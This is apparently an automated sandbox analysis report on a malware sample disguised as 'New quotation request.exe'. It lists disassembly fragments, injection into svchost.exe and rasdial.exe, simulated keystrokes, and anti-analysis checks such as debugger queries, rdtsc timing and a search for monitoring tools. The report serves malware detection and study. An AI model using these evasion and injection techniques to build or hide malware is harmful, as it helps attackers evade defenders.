                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040D53D push esi; retf 1_2_0040D53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004045F9 push ds; ret 1_2_004045FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00418605 push ebp; retf 1_2_00418633
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00413FD3 push 8BA57A45h; iretd 1_2_00413FEA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0380225F pushad ; ret 1_2_038027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038027FA pushad ; ret 1_2_038027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD push ecx; mov dword ptr [esp], ecx1_2_038309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0380283D push eax; iretd 1_2_03802858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03801368 push eax; iretd 1_2_03801369
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026872EC pushad ; iretd 5_2_026872ED
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_0268D6ED push esi; retf 5_2_0268D6EE
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026847A9 push ds; ret 5_2_026847AF
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026987B5 push ebp; retf 5_2_026987E3
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_026974E3 push ecx; retf 5_2_026974E6
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_0268D4B7 push edx; ret 5_2_0268D4BE
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeCode function: 5_2_02691DB5 push esi; iretd 5_2_02691DCE
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DA27FA pushad ; ret 6_2_04DA27F9
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_04DA225F pushad ; ret 6_2_04DA27F9
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_002B48D7
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00335376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00335376
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_002D3187
                Source: C:\Users\user\Desktop\New quotation request.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\New quotation request.exeAPI/Special instruction interceptor: Address: 15C001C
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D7E4
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE22210154
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: New quotation request.exe, 00000000.00000003.1667002765.0000000001609000.00000004.00000020.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000002.1678099917.0000000001675000.00000004.00000020.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000003.1667417369.0000000001675000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCMON.EXES
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E rdtsc 1_2_0387096E
                Source: C:\Users\user\Desktop\New quotation request.exeAPI coverage: 4.5 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\rasdial.exeAPI coverage: 2.6 %
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 4500Thread sleep count: 42 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exe TID: 4500Thread sleep time: -84000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe TID: 4176Thread sleep time: -45000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe TID: 4176Thread sleep time: -31500s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\rasdial.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0031445A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031C6D1 FindFirstFileW,FindClose,0_2_0031C6D1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_0031C75C
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0031EF95
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0031F0F2
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0031F3F3
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003137EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003137EF
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00313B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00313B12
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0031BCBC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B6C8D0 FindFirstFileW,FindNextFileW,FindClose,6_2_02B6C8D0
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002B49A0
                Source: rHureRETbmkd.exe, 00000007.00000002.3524223938.0000000000D0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ
                Source: firefox.exe, 00000008.00000002.2299283540.000001C02175C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllllJ
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003039000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E rdtsc 1_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417903 LdrLoadDll,1_2_00417903
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00323F09 BlockInput,0_2_00323F09
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_002B3B3A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_002E5A7C
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B4B37 LoadLibraryA,GetProcAddress,0_2_002B4B37
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_015C02E8 mov eax, dword ptr fs:[00000030h]0_2_015C02E8
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_015C0288 mov eax, dword ptr fs:[00000030h]0_2_015C0288
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_015BEC78 mov eax, dword ptr fs:[00000030h]0_2_015BEC78
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]1_2_0385438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]1_2_0385438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC3CD mov eax, dword ptr fs:[00000030h]1_2_038EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B63C0 mov eax, dword ptr fs:[00000030h]1_2_038B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov ecx, dword ptr fs:[00000030h]1_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]1_2_038D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]1_2_038D43D4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038663FF mov eax, dword ptr fs:[00000030h]1_2_038663FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C310 mov ecx, dword ptr fs:[00000030h]1_2_0382C310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850310 mov ecx, dword ptr fs:[00000030h]1_2_03850310
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov ecx, dword ptr fs:[00000030h]1_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov ecx, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA352 mov eax, dword ptr fs:[00000030h]1_2_038FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D8350 mov ecx, dword ptr fs:[00000030h]1_2_038D8350
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390634F mov eax, dword ptr fs:[00000030h]1_2_0390634F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D437C mov eax, dword ptr fs:[00000030h]1_2_038D437C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]1_2_0386E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]1_2_0386E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]1_2_038402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]1_2_038402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov ecx, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039062D6 mov eax, dword ptr fs:[00000030h]1_2_039062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382823B mov eax, dword ptr fs:[00000030h]1_2_0382823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B8243 mov eax, dword ptr fs:[00000030h]1_2_038B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B8243 mov ecx, dword ptr fs:[00000030h]1_2_038B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390625D mov eax, dword ptr fs:[00000030h]1_2_0390625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A250 mov eax, dword ptr fs:[00000030h]1_2_0382A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836259 mov eax, dword ptr fs:[00000030h]1_2_03836259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]1_2_038EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]1_2_038EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382826B mov eax, dword ptr fs:[00000030h]1_2_0382826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03870185 mov eax, dword ptr fs:[00000030h]1_2_03870185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]1_2_038EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]1_2_038EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]1_2_038D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]1_2_038D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
